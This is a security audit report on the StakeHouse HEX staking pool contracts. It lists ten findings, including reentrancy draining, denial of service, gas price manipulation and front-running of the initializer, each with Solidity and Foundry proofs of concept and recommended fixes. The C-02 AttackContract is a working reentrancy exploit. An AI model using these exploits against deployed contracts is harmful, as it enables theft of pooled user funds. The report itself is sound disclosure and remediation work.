33AUDITS & CO.

Stakehouse Audit Report

Introduction

A time-boxed security review of the protocol was conducted by 33Audit & Company, focusing on the security aspects of the smart contracts. This audit was performed by 33Audits and Zuhaib.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to identify as many vulnerabilities as possible. We cannot guarantee 100% security after the review or that the review will uncover any vulnerabilities.

Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

About 33 Audits & Company

33Audits LLC is an independent smart contract security research company and development group. We conduct audits as a team of independent auditors with diverse experiences and backgrounds. We have conducted over 15 audits, uncovering dozens of vulnerabilities, and are experienced in building and auditing smart contracts.

We have over 4 years of smart contract development experience with a focus on Solidity, Rust, and Move. Check our previous work here or reach out on X @solidityauditor.

About StakeHouse

This audit was performed on the core protocol contracts for StakeHouse's staking system. StakeHouse provides a flexible toolkit for creating staking pools where users can stake the HEX tokens through minmal proxy clones.

Main Components Audited

- **StakeHouse Factory Contract**: Allows creation and manages new StakeHousePool instances using clone pattern and maintains a registry.
- **StakeHouse Pool Contract**: Allows users to pool thier HEX tokens for staking via deposit/withdrawal and distribute rewards via HEX and HEDRON tokens.

Severity

- **Impact**: The technical, economic, and reputational damage from a successful attack.
- **Likelihood**: The chance that a particular vulnerability is discovered and exploited.
- **Severity**: The overall criticality of the risk.

Severity	Likelihood High	Likelihood Medium	Likelihood Low
High Impact	Critical	High	Medium
Medium Impact	High	Medium	Low
Low Impact	Medium	Low	Low

- **Informational**: Findings in this category are recommended changes to improve the structure, usability, and overall effectiveness of the system.

Security Assessment Summary

Scope

The following smart contracts were included in the scope of the audit:

- `contracts/StakeHouseFactory.sol`
- `contracts/StakeHousePool.sol`

Commit hash: `03087c997e90443be94111fa8e7e81908f417bbb`

Findings Summary

ID	Title	Severity	Status
C-01	Denial of Service Risk in StakeHousePool Due to Non-Payable STAKE_ENDER	Critical	Fixed
C-02	Reentrancy Vulnerability in redeemSH Allows Draining of Pool Assets	Critical	Fixed
H-01	Gas Price Manipulation in Pool Initialization and Stake End Calculation	High	Fixed
H-02	Uncapped Bleed Rate Can Lead to Permanently Stuck Tokens	High	Fixed
M-01	Zero Mint Duration Allows Near-Immediate Pool Closure	Medium	Acknowledged
M-02	Zero Stake Duration Enables Premature Stake Termination and Token Bleeding	Medium	Acknowledged
M-03	Unsafe Initialization Pattern Vulnerable to Front-Running	Medium	Acknowledged
L-01	Unbounded Pool Creation Could Lead to Gas Inefficiencies	Low	Acknowledged
L-02	Use of Magic Numbers Without Documentation	Low	Acknowledged
I-01	Code Duplication in Token Redemption Logic	Info	Acknowledged

---

[C-1] Denial of Service Risk in StakeHousePool Due to Non-Payable STAKE_ENDER

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L118
https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L200

Impact

The vulnerability can permanently lock all users' funds in the pool if a non-payable contract becomes the `STAKE_ENDER`, making it impossible for any user to redeem their tokens. This creates a complete denial of service for the core functionality of token redemption.

Description

The StakeHousePool contract implements a redemption mechanism where users must pay fees that are distributed to both the STAKE_ENDER and the protocol. These fees are sent directly to the STAKE_ENDER address during the redemption process. However, if the STAKE_ENDER is a contract address that cannot receive ETH (lacks `receive()` or `fallback()` functions), all redemption attempts will fail due to the failed ETH transfer.

This creates a critical vulnerability because:

1. Anyone can call `endStake()` and become the STAKE_ENDER
2. If a non-payable contract calls `endStake()`, it becomes the STAKE_ENDER
3. All subsequent `redeemSH()` calls will fail due to the inability to transfer fees to the STAKE_ENDER
4. There is no way to change the STAKE_ENDER once set
5. Users funds become permanently locked in the contract

Proof of Concept

```
contract NonPayableContract {
    // No receive() or fallback() function - cannot accept ETH
    function endStake(StakeHousePool pool) external {
        pool.endStake();
    }
}

function test_DoS_WhenStakeEnderCantReceiveETH() public {
    // Deploy pool
    vm.startPrank(alice);
    address newPool = factory.createPool(1 hours, 30 days, 100);
    StakeHousePool pool = StakeHousePool(newPool);
    vm.stopPrank();

    // Give test contract some HEX and approve pool
    deal(hexToken, address(this), 100 ether);
    ERC20(hexToken).approve(address(pool), 100 ether);

    // Deposit HEX into pool
    pool.depositHEX{value: 3690 * tx.gasprice}(100 ether);
```

```
        // Wait for mint phase to end and start stake
        vm.warp(block.timestamp + 2 hours);
        pool.startStake();

        // Warp to after stake period
        vm.warp(block.timestamp + 31 days);

        // Deploy non-payable contract and end stake with it
        NonPayableContract nonPayable = new NonPayableContract();
        nonPayable.endStake(pool);

        // Try to redeem - this will fail because STAKE_ENDER can't receive
    ETH
        uint256 shBalance = pool.balanceOf(address(this));
        uint256 stakeEnderFees = (shBalance * pool.STAKE_END_GAS()) /
    pool.totalSupply();
        uint256 protocolFees = pool.STAKE_END_GAS() / 20;

        vm.expectRevert("ETH_TRANSFER_FAILED");
        pool.redeemSH{value: stakeEnderFees + protocolFees}(shBalance);
    }
```

Recommendation

Implement a pull-payment pattern instead of pushing payments to the `STAKE_ENDER`. This can be achieved by adding a mapping to track pending fees, which stores the fees owed to each `STAKE_ENDER`. The `redeemSH` function should be modified to accumulate fees in this mapping rather than transferring them directly. Additionally, a withdrawal function should be implemented to allow `STAKE_ENDER` to withdraw their accumulated fees when needed.

[C-2] Reentrancy Vulnerability in redeemSH Allows Draining of Pool Assets

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L105-L151

Impact

- Critical vulnerability allowing the STAKE_ENDER to drain all assets from the pool
- Can be exploited multiple times until pool is empty
- All user funds at risk

Description

The `redeemSH` function performs ETH transfers to the STAKE_ENDER before burning the SH tokens and updating state. This creates a reentrancy vulnerability where the STAKE_ENDER can recursively call `redeemSH` before their tokens are burned, draining the pool's assets.

Vulnerable code flow:

```
function redeemSH(uint256 amount) external payable {
    // ... checks ...

    // 1. Sends ETH to STAKE_ENDER first
    SafeTransferLib.safeTransferETH(STAKE_ENDER, stakeEnderFees);
    SafeTransferLib.safeTransferETH(BUFFET, protocolFees);

    // 2. Burns tokens only after ETH transfer
    _burn(msg.sender, amount);

    // 3. Transfers HEX/HEDRON after burn
    // ... token transfers ...
}
```

Proof of Concept

```
contract AttackContract {
    StakeHousePool pool;
    uint256 attackAmount;

    constructor(address _pool) {
        pool = StakeHousePool(_pool);
    }

    // Step 1: Become STAKE_ENDER by calling endStake()
    function attack() external {
        pool.endStake();
        attackAmount = pool.balanceOf(address(this));
        pool.redeemSH{value: calculateRequiredFees()}(attackAmount);
    }

    // Step 2: Reenter on ETH receive
    receive() external payable {
        if (address(pool).balance >= calculateRequiredFees()) {
            pool.redeemSH{value: calculateRequiredFees()}(attackAmount);
        }
    }

    function calculateRequiredFees() internal view returns (uint256) {
        uint256 stakeEnderFees = (attackAmount * pool.STAKE_END_GAS()) /
pool.totalSupply();
        uint256 protocolFees = pool.STAKE_END_GAS() / 20;
        return stakeEnderFees + protocolFees;
    }
}
```

Recommendation

Implement the checks-effects-interactions pattern by moving the token burning before any external calls:

```
function redeemSH(uint256 amount) external payable {
    require(STAKE_ENDED == true, "Stake Not Ended");

    uint256 totalPool = totalSupply;
    uint256 stakeEnderFees = (amount * STAKE_END_GAS) / totalPool;
    uint256 protocolFees = STAKE_END_GAS / 20;

    require(msg.value == stakeEnderFees + protocolFees, "Insufficient 
Fees");

    // 1. Burn tokens first (checks-effects)
    _burn(msg.sender, amount);

    // 2. Calculate token amounts
    uint256 hedronBalance = ERC20(HEDRON).balanceOf(address(this));
    uint256 hexBalance = ERC20(HEX).balanceOf(address(this));
    uint256 hedronAmount = (amount * hedronBalance) / totalPool;
    uint256 hexAmount = (amount * hexBalance) / totalPool;

    // 3. Perform external interactions last
    SafeTransferLib.safeTransferETH(STAKE_ENDER, stakeEnderFees);
    SafeTransferLib.safeTransferETH(BUFFET, protocolFees);

    if (hedronBalance > 0) {
        uint256 protocolHedron = (2000 * hedronAmount) / 10000;
        SafeTransferLib.safeTransfer(ERC20(HEDRON), BUFFET, 
protocolHedron);
        SafeTransferLib.safeTransfer(ERC20(HEDRON), msg.sender, 
hedronAmount - protocolHedron);
    }

    if (hexBalance > 0) {
        uint256 creatorHex = (CREATOR_FEE * hexAmount) / 10000;
        SafeTransferLib.safeTransfer(ERC20(HEX), POOL_CREATOR, 
creatorHex);
        SafeTransferLib.safeTransfer(ERC20(HEX), msg.sender, hexAmount - 
creatorHex);
    }
}
```

Alternatively, add a reentrancy guard to the `redeemSH` function and any other functions that call external contracts.

[H-1] Gas Price Manipulation in Pool Initialization and Stake End Calculation

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L62

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L199

Impact

The contract is vulnerable to gas price manipulation in two critical areas:

1. **Pool Initialization**: Stored `tx.gasprice` affects all deposit/withdraw fees
2. **Stake End Calculation**: `STAKE_END_GAS = (gasInit - gasFinal) * tx.gasprice`

An attacker could:

- Initialize the pool with inflated gas prices, affecting all users' deposit/withdraw fees
- End the stake with an artificially high gas price, causing all subsequent `redeemSH` calls to pay inflated fees
- Both manipulations benefit the BUFFET and STAKE_ENDER addresses through excessive fee collection

Description

The contract has two separate gas price manipulation vectors:

1. Pool Initialization:

```
function initialize(...) external {
    // ... existing code ...
    GAS_PRICE = tx.gasprice; // First vulnerability
    // ... existing code ...
}
```

2. Stake End Calculation:

```
function endStake() external {
    // ... existing code ...
    uint256 gasInit = gasleft();
    // ... stake end operations ...
    uint256 gasFinal = gasleft();

    STAKE_END_GAS = (gasInit - gasFinal) * tx.gasprice; // Second
vulnerability
    STAKE_ENDER = msg.sender;
}
```

This stored gas cost is then used to calculate redemption fees:

```
function redeemSH(uint256 amount) external payable {
    uint256 stakeEnderFees = (amount * STAKE_END_GAS) / totalPool;
    uint256 protocolFees = STAKE_END_GAS / 20;
    // ... rest of function ...
}
```

Recommendation

This variable should be dynamic and updated on every transaction or there should be a setter function that allows the owner to update it in case it gets manipulated.

[H-2] Uncapped Bleed Rate Can Lead to Permanently Stuck Tokens

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L227-L242

Impact

- Tokens can become permanently stuck in the contract after 100 days
- Function will revert due to insufficient balance when trying to transfer more than 100% of balance
- No recovery mechanism once tokens are stuck
- Affects both creator and protocol fees

Description

The `bleedHex()` function calculates a bleed rate based on the number of days passed since the last bleed, attempting to transfer that percentage of the remaining balance. However, there's no cap on this percentage, which can lead to attempting to transfer more than 100% of the available balance after 100 days.

Vulnerable code:

```
function bleedHex() external {
    // ... checks ...

    uint currentDay = IHEX(HEX).currentDay();
    uint256 bleedRate = currentDay - HEX_BLEED_DAY; // Bleeds at 1% per
day

    uint256 hexBalance = ERC20(HEX).balanceOf(address(this));
    uint256 bleedShare = (bleedRate * hexBalance) / 100; // Can exceed
balance!
    // ... transfer logic ...
}
```

For example:

1. Stake ends on day 100
2. `HEX_BLEED_DAY` is set to day 107 (STAKE_END_DAY + 7)

3. No one calls `bleedHex()` for 200 days
4. On day 307:
   - `bleedRate = 307 - 107 = 200`
   - `bleedShare = (200 * hexBalance) / 100` = 200% of balance
5. Transfer reverts due to insufficient balance
6. Tokens become permanently stuck

Proof of Concept

```
function testBleedRateOverflow() public {
    // Setup pool and complete stake
    address poolAddress = factory.createPool(24 hours, 30 days, 100);
    StakeHousePool pool = StakeHousePool(poolAddress);

    // Fast forward to stake end + 7 days (when bleeding starts)
    vm.warp(block.timestamp + 37 days);
    pool.endStake();

    // Fast forward another 200 days
    vm.warp(block.timestamp + 200 days);

    // This will revert due to insufficient balance
    vm.expectRevert();
    pool.bleedHex();

    // Verify tokens are still stuck in contract
    assertGt(ERC20(pool.HEX()).balanceOf(address(pool)), 0);
}
```

Recommendation

Add a cap to the bleed rate to ensure it never exceeds 100%:

```
function bleedHex() external {
    require(
        IHEX(HEX).currentDay() > STAKE_END_DAY + 6,
        "No Bleed Yet"
    );

    if (HEX_BLEED_DAY == 0) {
        HEX_BLEED_DAY = STAKE_END_DAY + 7;
    }

    uint currentDay = IHEX(HEX).currentDay();
    uint256 bleedRate = currentDay - HEX_BLEED_DAY; // Bleeds at 1% per
day
    bleedRate = bleedRate > 100 ? 100 : bleedRate;  // Cap at 100%

    uint256 hexBalance = ERC20(HEX).balanceOf(address(this));
```

```
        uint256 bleedShare = (bleedRate * hexBalance) / 100;
        uint256 creatorShare = (CREATOR_FEE * bleedShare) / 10000;
        uint256 protocolShare = bleedShare - creatorShare;

        HEX_BLEED_DAY = currentDay;

        SafeTransferLib.safeTransfer(ERC20(HEX), POOL_CREATOR, creatorShare);
        SafeTransferLib.safeTransfer(ERC20(HEX), BUFFET, protocolShare);
    }
```

Alternatively, consider implementing a different bleeding mechanism that doesn't rely on time-based accumulation, such as fixed periodic withdrawals or a vesting schedule.

[M-1] Zero Mint Duration Allows Near-Immediate Pool Closure

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHouseFactory.sol#L30-L41
https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L51-L53

Impact

When a pool is created with zero mint duration, the pool's minting phase can end immediately upon creation, preventing users from having a reasonable time window to deposit HEX tokens into the pool. This can lead to "dead" pools that cannot effectively serve their intended purpose of collecting user deposits.

Description

The `initialize` function in `StakeHousePool.sol` only validates that the `_mint_duration` parameter doesn't exceed 369 hours, but lacks a minimum duration requirement. This allows pools to be created with extremely short or zero durations, which could be exploited to create unusable pools or potentially manipulate the protocol in unexpected ways.

Proof of Concept

The test case demonstrates that a pool created with zero mint duration becomes immediately unusable:

```
    function test_CreatePool_mintDurationIsZero() public {
        vm.prank(alice);
        address newPool = factory.createPool(0, 30 days, 100);

        StakeHousePool pool = StakeHousePool(newPool);

        vm.warp(block.timestamp + 1);
        assertEq(pool.MINT_START_TIME(), pool.MINT_END_TIME());
        ERC20(hexToken).approve(address(pool), 100 ether);
        vm.expectRevert("Minting Phase is Done");
        pool.depositHEX{value: 3690 * tx.gasprice}(100 ether);
    }
```

Recommendation

Add a minimum mint duration constant and enforce both minimum and maximum bounds:

```
// Add with other constants
uint256 public constant MIN_MINT_DURATION = 1 hours;

function initialize(...) external {
    // ... existing code ...

    require(_mint_duration >= MIN_MINT_DURATION, "Mint Duration Too
Short");
    require(_mint_duration <= 369 hours, "Mint Duration Too Long");
    MINT_START_TIME = block.timestamp;
    MINT_END_TIME = MINT_START_TIME + _mint_duration;

    // ... rest of the function ...
}
```

[M-2] Zero Stake Duration Enables Premature Stake Termination and Token Bleeding

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHouseFactory.sol#L30-L42
https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L55

Impact

- Allows creation of pools with zero or very short stake durations, which defeats the purpose of the staking mechanism
- May lead to unexpected behavior in reward calculations

Description

The `initialize` function in `StakeHousePool.sol` lacks validation bounds for the `_stake_duration` parameter. The stake duration can be set to zero or any arbitrary small number. This oversight allows the creation of pools where stakes can be ended almost immediately after being started, as demonstrated in the test case.

Proof of Concept

```
function test_ZeroStakeDuration() public {
    vm.prank(alice);
    address newPool = factory.createPool(0, 0, 100);

    StakeHousePool pool = StakeHousePool(newPool);

    pool.startStake();
    vm.warp(block.timestamp + 1);
    pool.endStake();
    assertEq(pool.STAKE_START_DAY(), pool.STAKE_END_DAY()); // Proves
stake starts and ends on same day
}
```

Recommendation

Add validation in the initialize function to ensure the stake duration is within acceptable bounds. Consider adding both minimum and maximum stake durations:

```
// Add these as contract constants
uint256 public constant MIN_STAKE_DURATION = 7 days; // Example: minimum 1
week stake
uint256 public constant MAX_STAKE_DURATION = 365 days; // Example: maximum
1 year stake

function initialize(
    // ... existing parameters ...
) external {
    // ... existing code ...

    require(_stake_duration >= MIN_STAKE_DURATION, "Stake duration below
minimum");
    require(_stake_duration <= MAX_STAKE_DURATION, "Stake duration above
maximum");
    STAKE_LENGTH = _stake_duration;

    // ... rest of the function ...
}
```

[M-3] Unsafe Initialization Pattern Vulnerable to Front-Running

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L37-L71
https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L47

Impact

- Contract uses an unsafe initialization pattern that can be front-run
- Attacker can initialize the contract before the intended deployer
- No upgradeability being used, making the initializer pattern unnecessary
- Could lead to loss of funds or contract takeover

Description

The contract uses an initializer pattern typically used in upgradeable contracts, but this contract is not upgradeable. The current initialization check is insufficient:

```
function initialize(
    string memory _name,
    string memory _symbol,
    uint8 _decimals,
    uint256 _mint_duration,
    uint256 _stake_duration,
    uint256 _creator_fee,
    address _pool_creator,
    address _buffet,
    address _hex,
    address _hedron
) external {
    require(MINT_START_TIME == 0, "Already initialized"); // Unsafe check

    _initialize(_name, _symbol, _decimals);
    // ... rest of initialization
}
```

This pattern is problematic because:

1. Anyone can front-run the intended initialization transaction
2. The check `MINT_START_TIME == 0` is not sufficient as a guard
3. No upgradeability is implemented, making the initializer pattern unnecessary
4. No access control on who can call initialize

Proof of Concept

```
function testFrontRunInitialize() public {
    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");

    // Deploy pool via factory
    vm.prank(victim);
    address poolAddress = factory.createPool(
        24 hours,
        30 days,
        100
    );
    StakeHousePool pool = StakeHousePool(poolAddress);
```

```
        // Attacker front-runs initialization
        vm.prank(attacker);
        pool.initialize(
            "Hacked Pool",
            "HACK",
            18,
            24 hours,
            30 days,
            100,
            attacker, // Sets themselves as pool creator
            attacker, // Hijacks buffet address
            address(0), // Could set malicious token addresses
            address(0)
        );

        // Verify attacker has taken control
        assertEq(pool.POOL_CREATOR(), attacker);
        assertEq(pool.BUFFET(), attacker);
    }
```

Recommendation

Since the contract is not upgradeable, remove the initializer pattern and use a constructor instead:

```
        uint256 public constant MIN_MINT_DURATION = 1 hours;
        uint256 public constant MAX_MINT_DURATION = 369 hours;
        uint256 public constant MIN_STAKE_DURATION = 7 days;
        uint256 public constant MAX_STAKE_DURATION = 365 days;
        uint256 public constant MAX_CREATOR_FEE = 100; // 100%
        uint256 public constant BASIS_POINTS = 10000;

        constructor(
            string memory _name,
            string memory _symbol,
            uint8 _decimals,
            uint256 _mint_duration,
            uint256 _stake_duration,
            uint256 _creator_fee,
            address _pool_creator,
            address _buffet,
            address _hex,
            address _hedron
        ) ERC20(_name, _symbol, _decimals) {
            // Validate addresses to prevent DOS and failed transfers
            require(_pool_creator != address(0), "Invalid pool creator");
            require(_buffet != address(0), "Invalid buffet address");
            require(_hex != address(0), "Invalid HEX address");
            require(_hedron != address(0), "Invalid HEDRON address");
            require(_hex.code.length > 0, "HEX must be contract");
            require(_hedron.code.length > 0, "HEDRON must be contract");

            // Validate durations to prevent unusable pools
            require(_mint_duration >= MIN_MINT_DURATION, "Mint duration too 
    short");
            require(_mint_duration <= MAX_MINT_DURATION, "Mint duration too 
    long");
            require(_stake_duration >= MIN_STAKE_DURATION, "Stake duration too 
    short");
            require(_stake_duration <= MAX_STAKE_DURATION, "Stake duration too 
    long");

            // Validate fees
            require(_creator_fee <= MAX_CREATOR_FEE, "Creator fee too high");

            // Set time-related variables
            MINT_START_TIME = block.timestamp;
            MINT_END_TIME = MINT_START_TIME + _mint_duration;
            STAKE_LENGTH = _stake_duration;

            // Set state variables
            STAKE_STARTED = false;
            STAKE_ENDED = false;
            CREATOR_FEE = _creator_fee;
            POOL_CREATOR = _pool_creator;
            BUFFET = _buffet;
            HEX = _hex;
            HEDRON = _hedron;

            // Store gas price for fee calculations
            // Note: This is still vulnerable to H-1, but that requires a 
    larger refactor
            GAS_PRICE = tx.gasprice;
        }
```

[L-1] Unbounded Pool Creation Could Lead to Gas Inefficiencies

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHouseFactory.sol#L48-L52

Impact

The unbounded creation of pool instances could lead to increased gas costs and potential operational inefficiencies, but does not pose immediate security risks.

Description

The `createPool` function in `StakeHouseFactory` allows for unlimited creation of pool instances, which are stored in the `poolAddress` array. There is no upper bound on the number of pools that can be created.

As the array grows, any function that needs to iterate through all pools (either in this contract or in connected protocol operations) will consume increasingly more gas.

This could potentially lead to:

1. Increased gas costs for operations that need to iterate through all pools
2. Possible DoS scenarios if the array grows too large for practical iteration
3. UI/Frontend challenges when trying to display or interact with all pools

Recommendation

Consider implementing one or more of the following measures:

1. Add a maximum limit on the total number of pools that can be created:

```
uint256 public constant MAX_POOLS = 1000;

function createPool(...) external returns (address pool) {
    require(poolCount() < MAX_POOLS, "Max pool limit reached");
    // ... existing code ...
}
```

2. Add access controls to limit who can create new pools
3. Consider implementing a pool creation fee to discourage spam creation of pools

---

[L-2] Use of Magic Numbers Without Documentation

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L51
https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L95
https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L131
https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L212
https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L227-L235

Description

The contract uses several magic numbers without proper documentation or constant definitions, making the code less maintainable and harder to understand. Examples include:

1. `369 hours` for maximum mint duration
2. `3690` for gas fees
3. `20` for protocol fee division

4. `2000` and `10000` for Hedron fee calculations
5. `6` days for bleed waiting period
6. `7` days for bleed start
7. `100` for bleed rate calculation

These hardcoded values lack context and explanation, making it difficult for other developers to understand their significance or modify them if needed.

Recommendation

Define these numbers as named constants with clear documentation or Add NatSpec comments explaining the purpose and calculation of each constant.

```
// Maximum mint duration in hours
uint256 private constant MAX_MINT_DURATION = 369 hours;

// Gas fee requirement in gwei
uint256 private constant REQUIRED_GAS_FEE = 3690;

// Protocol fee denominator (1/20 = 5%)
uint256 private constant PROTOCOL_FEE_DENOMINATOR = 20;

// Basis points for fee calculations (100% = 10000)
uint256 private constant BASIS_POINTS = 10000;
uint256 private constant HEDRON_PROTOCOL_FEE_BPS = 2000; // 20%

// Bleed period configurations
uint256 private constant BLEED_WAITING_PERIOD = 6 days;
uint256 private constant BLEED_START_OFFSET = 7 days;
uint256 private constant DAILY_BLEED_DENOMINATOR = 100; // 1% per day
```

[I-1] Code Duplication in Token Redemption Logic

Links

https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L142-L151
https://github.com/MCR369/StakeHouseContracts/blob/03087c997e90443be94111fa8e7e81908f417bbb/contracts/StakeHousePool.sol#L239-L242

Impact

- Reduced code maintainability
- Increased risk of inconsistencies when updating logic
- Higher gas costs due to duplicate code
- More complex testing requirements

Description

The `redeemSH` function contains duplicate logic for redeeming HEDRON and HEX tokens. Both sections follow the same pattern of checking balances, calculating fees, and transferring tokens, but with slightly different fee calculations:

```
// First instance - HEDRON redemption
tokenBalance = ERC20(HEDRON).balanceOf(address(this));
if (tokenBalance > 0) {
    redeemBalance = (amount * tokenBalance) / totalPool;
    protocolFees = (2000 * redeemBalance) / 10000; // 20% of Hedron to
Protocol
    redeemBalance -= protocolFees;

    SafeTransferLib.safeTransfer(ERC20(HEDRON), BUFFET, protocolFees);
    SafeTransferLib.safeTransfer(ERC20(HEDRON), msg.sender,
redeemBalance);
}

// Second instance - HEX redemption
tokenBalance = ERC20(HEX).balanceOf(address(this));
if (tokenBalance > 0) {
    redeemBalance = (amount * tokenBalance) / totalPool;
    creatorFees = (CREATOR_FEE * redeemBalance) / 10000;
    redeemBalance -= creatorFees;

    SafeTransferLib.safeTransfer(ERC20(HEX), POOL_CREATOR, creatorFees);
    SafeTransferLib.safeTransfer(ERC20(HEX), msg.sender, redeemBalance);
}
```

Recommendation

Refactor the redemption logic into a helper function that handles the common pattern:

```
function _redeemToken(
    address token,
    uint256 amount,
    uint256 totalPool,
    uint256 feeRate,
    address feeRecipient
) internal returns (uint256) {
    uint256 tokenBalance = ERC20(token).balanceOf(address(this));
    if (tokenBalance == 0) return 0;

    uint256 redeemBalance = (amount * tokenBalance) / totalPool;
    uint256 fees = (feeRate * redeemBalance) / 10000;
    redeemBalance -= fees;

    SafeTransferLib.safeTransfer(ERC20(token), feeRecipient, fees);
    SafeTransferLib.safeTransfer(ERC20(token), msg.sender, redeemBalance);

    return redeemBalance;
}

function redeemSH(uint256 amount) external payable {
    // ... existing checks ...

    // Redeem HEDRON with 20% protocol fee
    _redeemToken(HEDRON, amount, totalPool, 2000, BUFFET);

    // Redeem HEX with creator fee
    _redeemToken(HEX, amount, totalPool, CREATOR_FEE, POOL_CREATOR);
}
```
